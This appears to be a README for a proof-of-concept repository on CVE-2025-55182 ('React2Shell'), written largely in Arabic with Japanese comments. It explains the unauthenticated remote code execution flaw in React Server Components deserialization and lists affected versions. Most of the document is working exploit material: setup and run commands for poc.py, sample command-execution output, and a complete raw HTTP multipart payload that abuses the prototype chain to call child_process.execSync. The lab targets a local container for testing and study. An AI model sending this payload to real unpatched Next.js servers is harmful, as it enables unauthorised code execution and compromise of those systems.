
CVE-2025-55182 — React2Shell
CVE-2025-55182 ("React2Shell") هو ثغرة RCE بدون مصادقة بتصنيف CVSS 10.0 موجودة في محلل تسلسل بروتوكول Flight لمكونات React Server.
نظرًا لأن دالة reviveModel في عميل بروتوكول Flight في React لا تتحقق من مفاتيح الكائن باستخدام hasOwnProperty، يمكن للمهاجم اتباع سلسلة النموذج الأولي __proto__ → constructor → مُنشئ الدالة Function لتنفيذ أي كود JavaScript عشوائي.
نظرًا لأن إلغاء التسلسل يحدث قبل المصادقة عبر طلب POST متعدد الأجزاء برأس Next-Action واحد، فإن الهجوم ينجح دون مصادقة.
| المكوّن | الإصدارات الضعيفة | الإصدار المُصحَّح |
|---|---|---|
| React | 19.0.0 – 19.2.0 | 19.2.1 |
| Next.js | ≤ 16.0.6 | 16.0.7 |
CVE-2025-55182/
├── flake.nix # Nix dev shell (nodejs_20, yarn, python3+requests)
├── poc.py # エクスプロイトスクリプト
└── target/ # 脆弱な Next.js アプリ
├── Containerfile # podman ビルド用
├── package.json # [email protected] / [email protected]
├── next.config.ts
├── tsconfig.json
└── app/
├── layout.tsx
└── page.tsx
nix develop
podman build -t cve-2025-55182 target/
podman run -d -p 3000:3000 --name vuln cve-2025-55182
python poc.py http://localhost:3000 "id"
يتم إرجاع نتيجة تنفيذ الأمر في حقل digest من JSON الاستجابة.
[*] Target: http://localhost:3000/
[*] Command: id
[*] Sending exploit payload...
[*] Response status: 200
[+] Command output: uid=1000(node) gid=1000(node) groups=1000(node)
# ファイル書き込み
python poc.py http://localhost:3000 "touch /tmp/pwned"
# コンテナ内で確認
podman exec -it vuln sh
# => ls /tmp/pwned
podman exec -it vuln sh -c "ls /tmp" # こっちでも可能
بافتراض تشغيل Burp على localhost:8080
HTTPS_PROXY=http://localhost:8080 HTTP_PROXY=http://localhost:8080 python poc.py http://localhost:3000 "id"
POST / HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 580
Content-Type: multipart/form-data; boundary=19a7dba25a68483f4234c90a07a425a2
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="0"
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync(\"touch /tmp/pwand\",{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="1"
"$@0"
--19a7dba25a68483f4234c90a07a425a2--
podman stop vuln && podman rm vuln